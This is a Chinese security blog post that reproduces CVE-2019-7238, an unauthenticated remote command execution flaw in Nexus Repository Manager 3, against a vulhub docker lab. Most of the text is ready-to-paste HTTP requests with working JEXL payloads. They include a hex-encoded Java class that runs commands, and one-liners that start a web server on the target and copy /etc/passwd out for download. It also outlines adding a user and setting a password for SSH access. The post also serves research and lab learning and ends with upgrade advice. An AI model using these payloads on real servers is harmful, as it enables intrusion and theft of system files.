Nexus Repository Manager 3 远程命令执行（CVE-2019-7238）复现

Nexus Repository Manager 3 远程命令执行漏洞（CVE-2019-7238）复现

相关实战项目中遇到，本地搭建环境测试，尝试多种利用方式。

一、漏洞背景

Nexus Repository Manager 3 是一款软件仓库，可以用来存储和分发Maven、NuGET等软件源仓库。其3.14.0及之前版本中，存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能，而这处功能存在未授权访问漏洞，将可以导致任意命令执行漏洞。

二、环境搭建

本环境复现使用vulhub的docker环境

https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238

拉取docker环境

环境启动

访问IP+8081

http://192.168.0.102:8081/

使用账号密码admin:admin123登录后台，然后在maven-releases下随便上传一个jar包：

触发该漏洞，必须保证仓库里至少有一个包存在。所以我们需要上传一个jar包。

上传完成

三、漏洞复现

1）可以直接执行命令

执行cat /etc/passwd

POST/service/extdirectHTTP/1.1Host: 192.168.0.102:8081User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Accept: */*Content-Type: application/jsonX-Requested-With: XMLHttpRequestContent-Length: 7260Connection: close​{"action":"coreui_Component","type":"rpc","tid":8,"data": [{"sort": [{"direction":"ASC","property":"name"}],"start":0,"filter": [{"property":"repositoryName","value":"*"}, {"property":"expression","value":"function(x, y, z, c, integer, defineClass){ c=1.class.forName('java.lang.Character'); integer=1.class; x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd001db6001e190d03bd001fb600203a0f190fb600183a101910122103bd001db6001e190f03bd001fb600203a111911b600183a121912122203bd001db6001e191103bd001fb60020c000233a1319131904b600241913b60025b100000003002a0000009600250000001600080017000d0018001200190019001a0024001b002e001d0033001f004200200048002100510023005b002500640026006a002700730029007d002a0086002b008c002d008f002f009c003100a5003200aa003300ad003500b6003600bb003700be003900ce003a00d1002f00d7003d00de003e00f4003f00fb004001110041011800420131004401380045013d0049002b000000de001600a5002c00300031000f0092004500320033000e0000013e003400350000000801360036003700010012012c00380039000200190125003a003b0003002e0110003c003500040033010b003d003e0005004200fc003f00400006005100ed004100310007005b00e3004200430008006400da004400400009007300cb00450031000a007d00c100460043000b008600b800470040000c008f00af00480031000d00de006000490043000e00f4004a004a0031000f00fb0043004b004300100111002d004c0031001101180026004d004300120131000d004e004f00130050000000340005005b00e3004200510008007d00c100460051000b00de006000490051000e00fb0043004b0051001001180026004d005100120052000000040001005300010054000000020055'; y=0; z=''; while (y lt x.length()){ z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0]; y += 2; };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n y,\n 'Exploit.Test234',\n z.getBytes('latin1'), 0,\n 3054\n);x.getMethod('test', ''.class).invoke(null, 'cat /etc/passwd');'done!'}\n"}, {"property":"type","value":"jexl"}],"limit":50,"page":1}],"method":"previewAssets"}

可以成功执行命令

注意payload构造上面的数据包替换IP地址其他的可以直接粘贴到burp中。

如果像执行其他的命令修改：cat /etc/passwd 处

详细的翻阅和查看相关是否有数据相关连接详细

/nexus-data/db基本上没有可用信息

2）关于命令执行回显，很多时候攻击者可以访问目标主机，但目标主机不能反弹shell到攻击者；

可以开启一个web服务，将要执行的命令写入到网站目录下面，然后读取文件，得到命令回显内容。

python web for Nexus (python开启httpserver服务)

POST/service/extdirectHTTP/1.1Host: 192.168.0.102:8081User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Nexus-UI: trueNX-ANTI-CSRF-TOKEN: 00045277-54c3-47bd-831b-b056a3a8e3abContent-Type: application/jsonX-Requested-With: XMLHttpRequestReferer: http://10.10.20.166:8081/Content-Length: 428Cookie: sidebar_collapsed=false; NX-ANTI-CSRF-TOKEN=00045277-54c3-47bd-831b-b056a3a8e3ab; _ga=GA1.4.915076148.1558341613; NXSESSIONID=df711f34-689b-49dc-8e53-288352ad2329; _gid=GA1.4.813394406.1558444836; _gat=1; _gat_adw=1; _gat_cdt=1; _gat_UA-1693297-38=1X-Forwarded-For: 127.0.0.1Connection: keep-alive​{"type":"rpc","method":"previewAssets","tid":18,"data": [{"limit":50,"sort": [{"property":"name","direction":"ASC"}],"page":1,"filter": [{"value":"*","property":"repositoryName"}, {"value":"1==0 or ''.class.forName('java.lang.Runtime').getRuntime().exec(\"setsid python -m SimpleHTTPServer 8987\")","property":"expression"}, {"value":"jexl","property":"type"}],"start":0}],"action":"coreui_Component"}

执行成功

进入docker查看开启pythonhttpserver服务（docker需要端口转发，目前方式

只能验证方法可行）

3）get the passwd

将/etc/passwd复制到当前目录下cp /etc/passwd ./

POST/service/extdirectHTTP/1.1Host: 192.168.0.102:8081User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Nexus-UI: trueNX-ANTI-CSRF-TOKEN: 00045277-54c3-47bd-831b-b056a3a8e3abContent-Type: application/jsonX-Requested-With: XMLHttpRequestReferer: http://192.168.0.102:8081/Content-Length: 407Cookie: sidebar_collapsed=false; NX-ANTI-CSRF-TOKEN=00045277-54c3-47bd-831b-b056a3a8e3ab; _ga=GA1.4.915076148.1558341613; NXSESSIONID=df711f34-689b-49dc-8e53-288352ad2329; _gid=GA1.4.813394406.1558444836; _gat=1; _gat_adw=1; _gat_cdt=1; _gat_UA-1693297-38=1X-Forwarded-For: 127.0.0.1Connection: keep-alive​{"type":"rpc","method":"previewAssets","tid":18,"data": [{"limit":50,"sort": [{"property":"name","direction":"ASC"}],"page":1,"filter": [{"value":"*","property":"repositoryName"}, {"value":"1==0 or ''.class.forName('java.lang.Runtime').getRuntime().exec(\"cp /etc/passwd ./\")","property":"expression"}, {"value":"jexl","property":"type"}],"start":0}],"action":"coreui_Component"}

执行成功

命令执行成功

curl http://192.168.0.102:8081/passwd

访问下载或者直接访问url下载

4）command 通过脚本命令执行python版本

java GUI版本

5）login ssh(docker未复现)参考思路

用echo命令修改用户密码(root 权限)

useraddthelostworldechopassword | passwd --stdin thelostworld​sshusername: thelostworldsshpassword: password​sshthelostworld@192.168.0.102​Connectingto 192.168.0.102:22...Connectionestablished.Toescape to local shell, press Ctrl+Alt+].

四、漏洞修复

将Nexus Repository Manager OSS/Pro升级到3.15.0及之后的版本。

参考文献：

https://github.com/verctor/nexus_rce_CVE-2019-7238

https://github.com/jas502n/CVE-2019-7238

免责声明：本站提供安全工具、程序(方法)可能带有攻击性，仅供安全研究与教学之用，风险自负!

公众号：

thelostworld：

​个人知乎：https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书：https://www.jianshu.com/u/bf0e38a8d400